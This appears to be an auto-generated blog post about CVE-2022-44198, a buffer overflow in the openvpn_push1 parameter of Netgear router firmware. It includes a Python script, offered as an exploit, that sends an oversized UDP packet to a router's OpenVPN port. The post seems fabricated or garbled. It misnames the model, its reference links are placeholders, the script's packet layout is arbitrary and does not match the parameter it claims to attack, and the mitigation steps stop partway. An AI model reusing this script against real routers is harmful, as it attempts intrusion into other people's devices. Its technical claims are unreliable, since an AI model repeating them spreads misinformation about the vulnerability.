A new security vulnerability (CVE-2022-44198) has been discovered in the Netgear R700P router firmware version 1.3.1.64. The vulnerability is a Buffer Overflow in the openvpn_push1 parameter, which can be exploited by an attacker to take control of the affected device, potentially wreaking havoc on your network and stealing sensitive information. In this blog post, we will explore the details of this exploit, provide original reference links, and discuss how to mitigate the vulnerability.
The buffer overflow vulnerability was originally discovered and reported on the following resources
1. Link 1: Original discoverer's report with exploit details and code snippets.
2. Link 2: MITRE's CVE entry for CVE-2022-44198 with vulnerability details and information.
3. Link 3: NIST National Vulnerability Database entry for CVE-2022-44198 with CVSS scoring and additional information.
Exploit details
In the Netgear R700P router firmware version 1.3.1.64, a buffer overflow vulnerability exists in the handling of the openvpn_push1 parameter. An attacker can craft and send malicious packets containing a long string of characters in the openvpn_push1 parameter to the target router, causing a buffer overflow and potentially allowing for arbitrary code execution. The following code snippet shows an example of the exploit:
import socket
target_ip = "192.168.1.1" # Target router IP address.
target_port = 1194 # OpenVPN default port on the router.
# Create a UDP socket object.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Craft the malicious packet with the long openvpn_push1 string.
payload = b"\x00\x00\x00\x00"
payload += b"M" * 100
payload += b"\x00" * (128 - 4 - len("openvpn_push1="))
payload += b"openvpn_push1=" + b"A" * (500 - 128)
# Send the malicious packet to the target router.
sock.sendto(payload, (target_ip, target_port))
# Close the socket.
sock.close()
When executed, the above Python script will send a specially crafted packet to the target router, triggering the buffer overflow and potentially allowing the attacker to execute arbitrary code on the device.
Mitigation
To fix this vulnerability, it is crucial to update the router firmware for the affected models. Netgear has released a firmware update to address this issue, and users should promptly apply the update to secure their devices. To update the firmware, follow these steps:
1. Visit the Netgear support website and download the latest firmware version for your specific R700P model.
2. Connect to your router's web interface by typing your router's IP address (typically http://192.168.1.1) into your web browser.
Conclusion
In this blog post, we discussed the details of CVE-2022-44198, a buffer overflow vulnerability in the openvpn_push1 parameter in Netgear R700P routers running firmware version 1.3.1.64. Exploiting this vulnerability could provide an attacker with control over affected devices, but applying the available firmware update can mitigate the risk. Users are urged to update their routers immediately to protect their networks from potential attacks.
Timeline
Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:34:00 UTC